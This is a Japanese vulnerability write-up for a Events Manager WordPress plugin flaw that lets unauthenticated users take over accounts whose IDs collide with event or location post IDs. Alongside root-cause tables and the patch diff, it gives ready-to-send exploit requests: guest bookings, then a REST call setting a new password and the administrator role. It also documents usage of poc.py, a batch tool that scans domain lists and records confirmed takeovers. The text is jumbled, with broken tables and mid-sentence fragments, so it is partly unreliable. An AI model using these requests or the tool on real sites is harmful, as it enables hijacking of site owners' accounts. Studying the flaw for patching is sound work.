
| 製品 | Events Manager (WordPressプラグイン) |
| 影響を受けるバージョン | 7.1.0 – 7.4.0.x |
| 修正バージョン | 7.4.1 |
| 脆弱性の種類 | CWE-269: 不適切な権限管理 (Improper Privilege Management) |
| 深刻度 | CVSS 3.1: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| WPVDB ID | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| 発見者 | Jakub Herman |
| Write-up & PoC | ghostpel |
poc.py)を公開。Events Manager バージョン7.1.0から7.4.0.xには、完全に認証されていない攻撃者が、プラグイン自身の投稿(event / location / event-recurring / location-recurring)のIDと衝突するIDを持つ任意のユーザーアカウントを乗っ取れるようにする権限昇格の脆弱性が存在します。この衝突は、ゲスト予約が有効なサイト(デフォルト)では強制的に発生させることができます。ゲスト予約のたびに実際のユーザーアカウントが作成され、wp_usersのオートインクリメントカウンタが1つ進むため、攻撃者はユーザーID空間を「歩いて」イベント/ロケーション投稿IDに到達できます。
根本原因: プラグインのmap_meta_capフィルタは、ケーパビリティのオブジェクトIDがたまたまイベント/ロケーション投稿に解決される場合、あらゆるメタケーパビリティに対して、WordPressがすでに計算したケーパビリティリスト($caps = [])を破棄します。これには、edit_user、delete_user、promote_user、remove_userといったWordPressコアのケーパビリティも含まれます。空のケーパビリティリストは「必要なケーパビリティなし」と解釈されます — すなわちログアウト中のユーザーを含む全員に許可です。
影響(すべて未認証、WP REST API経由): 衝突するアカウントのパスワード変更、administratorへの昇格、または削除が可能です。
解析対象バージョン: 7.4.0.1(脆弱) — 7.4.1(修正版)と差分比較済み。
| バージョン | 状態 |
|---|---|
| ≤ 7.0.5 | 影響なし(レガシーなem_map_meta_capはEM独自のケーパビリティのみを処理) |
| 7.1.0 – 7.4.0.x | 脆弱(バグのあるmap_meta_capを持つarchetypeシステムは7.1.0で導入) |
| 7.4.1 |
map_meta_capが$capsを空にするclasses/em-archetypes.php (バージョン 7.4.0.1):
結果: current_user_can('edit_user', X) / delete_user / promote_user / remove_user の各チェックは、Xがイベント/ロケーション投稿のIDと等しい場合に常にTRUEを返します。プラグインは「WordPressがすでに行ったアクセス制御の判断を破棄」します — これはWPScanの記述と正確に一致します。
7.4.0.1と7.4.1の差分を確認しました: リセットは各分岐でケーパビリティの完全一致によってガードされるようになりました(例: && $c['read'][$post->post_type] == $cap)。これにより$capsは、要求されたケーパビリティが本当にarchetypeメタケーパビリティである場合にのみ空になります。パッチのコメント: 「オブジェクトを伴う任意のケーパビリティでリセットすると、無関係なケーパビリティ(例: edit_user、promote_user)の要求リストが空になり、それが許可として解釈されていた。」
REST Usersエンドポイント(/wp-json/wp/v2/users/{id})にはグローバルなログインゲートがありません — アクセス制御は純粋にパーミッションコールバック経由で行われ、そのすべてが同じmap_meta_capフィルタを通過します:
副作用: コメントIDがたまたまイベント/ロケーション投稿IDと等しい場合、edit_commentも影響を受けます(wp_commentsテーブルは数値空間を共有しているため)。
この衝突は、wp_users.IDとwp_posts.IDが独立したオートインクリメントシーケンスであり、必然的に重複することから発生します。ゲスト予約はそれを強制します:
em-install.php:896 — dbem_bookings_anonymous = 1: ゲスト予約はデフォルトで有効; :871 dbem_bookings_registration_disable = 0 (登録は有効)。em-actions.php:340-344 — booking_addは$booking_nopriv_actionsに含まれる → ログインなしで呼び出し可能(wp_ajax_nopriv_booking_add、優先度999999、行:817-830、またはwp_loaded :11経由)。em-actions.php:360-375 — booking_addフロー: em_verify_nonce('booking_add') → → → → 。(nonceはCSRF対策のみを目的としています — nonceは公開の予約フォームにレンダリングされるため、誰でも取得できます。)監査中に観察された二次的なチェーン(person_idによる予約の帰属) — events-manager.php:430-437 (em_load_event、ログインなしで$_REQUEST['person_id']から$EM_Personを取得)、em-booking.php:1060-1072 (get_person()が新しい予約のperson_idを上書き)、em-booking.php:2004-2006 (IDのない予約ではcan_manage() = TRUE)、em-functions.php:448-449 — 7.4.1でも変更なし。これは別のベクター(予約の誤帰属)であり、このCVEの核心ではありません。
/wp-json/wp/v2/event、または順次IDのブルートフォース)。ターゲットをNとします。Nを取得するようにゲスト予約を繰り返し送信します:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
Nのアカウントは攻撃者のものになります(パスワードは攻撃者のメールアドレスに送信されます)。PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
get_post(N)がイベント/ロケーション投稿に解決されるため、edit_user + promote_userのパーミッションコールバックは通過します → $caps = []。
(既存のアカウント — 例: 古い管理者 — がすでにイベント投稿IDと衝突するID Nを持っている場合、ステップ2は不要です。攻撃者はそのアカウントを直接乗っ取ります。)event/location CPTが登録されていること)。poc.pypoc.pyは非同期(asyncio + aiohttp)のバッチPoCで、ターゲットごとに: EMバージョンのフィンガープリンティング(脆弱な範囲[7.1, 7.4.1)に限定)、外部から到達可能なEM投稿IDの検出(WPサイトマップ → /locations/、オプションで予約フォームのクロール)、検出されたIDに対する既存ユーザーアカウントの探索(衝突条件)、そして衝突するものの権限昇格 — RESTチャネル経由、またはセッションが提供されRESTがブロックされている場合はwp-adminチャネル経由で実行します。ブラインドのユーザー範囲スイープ、ゲスト予約、アカウント作成は行いません。
ランナーはすべてのI/Oを単一のイベントループ上で多重化し(I/Oバウンド時はCPU使用率ほぼ0%。-tはコア数ではなく並行数を制限)、ループ上では境界付きの64 KiB先頭チャンクのみをスキャンし、重いパース処理(サイトマップXML、クロールページのバンドル、プロファイルフォーム)はasyncio.to_thread経由でワーカースレッドにオフロードし、すべてのページ試行でポライトネス遅延を適用します。強制ロジック自体は変更なし(同じゲート、同じオラクル、同じ検証)。
py -3 poc.py -l domains.txt # batch (defaults: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # single domain
py -3 poc.py -l domains.txt --crawl # add booking-page crawl discovery
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # wp-admin fallback channel
要件: Python 3.9+、pip install aiohttp。
結果はhasil.txt(確認済みの乗っ取り)とid-post.txt(EM投稿IDが検出されたすべての脆弱なドメイン、collision=yes/no/unknown付き)にストリーミング出力されます。
注記: このPoCは7.4.0.1ソースの静的解析と7.4.1パッチの差分から独立して再構築されたものであり、WPScanのPoCではありません。
許可されたセキュリティテストのみ。 自分が所有する、または明示的な書面によるテスト許可を得たシステムに対してのみ実行してください。このPoCはプレーンなHTTPリクエストのみを行います — 回避は行わず、ログ/IDSに表示される可能性があります。
dbem_bookings_anonymous)し、WAFレベルでusers RESTエンドポイントを制限し、パスワード変更、ロール昇格、アカウント削除を監視します。| 修正済み |
| 行 | コード | 役割 |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | グローバルかつ無条件のフィルタ — コアのものやログアウト中ユーザー向けのものを含む、すべてのWordPressメタケーパビリティチェックで実行される |
:547 | if ( !empty( $args[0] ) ) { | ケーパビリティのオブジェクトが投稿IDとして扱われる |
:548 | $post = get_post($args[0]); | ID衝突:(edit_userなどのケーパビリティにおける)対象のユーザーIDが投稿IDとして扱われる |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | 要求されたケーパビリティがread/edit/delete_event archetypeケーパビリティではないにもかかわらず、ケーパビリティリストが無条件に破棄される |
:568/577/584 | if/elseif 分岐 | $capsは$capがarchetypeメタケーパビリティと完全一致する場合にのみ再設定される; edit_user、delete_user、promote_user、remove_userではどの分岐も一致しない → $capsは空のまま |
:597 | return $caps; | 空の配列 = 「必要なケーパビリティなし」 = ユーザーID 0を含む誰にでもALLOW |
| アクション | エンドポイント/コア関数 | 回避されるケーパビリティ |
|---|
| 対象アカウントのパスワード変更 | PUT /wp-json/wp/v2/users/{id} に {"password":"..."} を送信 → wp_update_user() (内部のedit_userチェック) | edit_user |
| アカウントを管理者(Administrator)に昇格 | PUT /wp-json/wp/v2/users/{id} に {"roles":["administrator"]} を送信 | promote_user |
| アカウントの削除 | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (内部のdelete_userチェック) | delete_user |
| (マルチサイト) ブログからユーザーを削除 | remove_user | remove_user |
get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — ゲスト分岐: 攻撃者のメールアドレスを使用したem_register_new_user($user_data)。em-functions.php:510 — wp_insert_user($user_data) → ゲスト予約のたびにwp_usersのオートインクリメントが1進む → 攻撃者は、ユーザーIDカウンタが目的のイベント/ロケーション投稿IDに到達するまで、その増加率を制御できます(WPScan: 「各ゲスト予約は実際のユーザーアカウントを作成し、ユーザーIDカウンタを1つ進める」)。DELETE /wp-json/wp/v2/users/M?reassign=N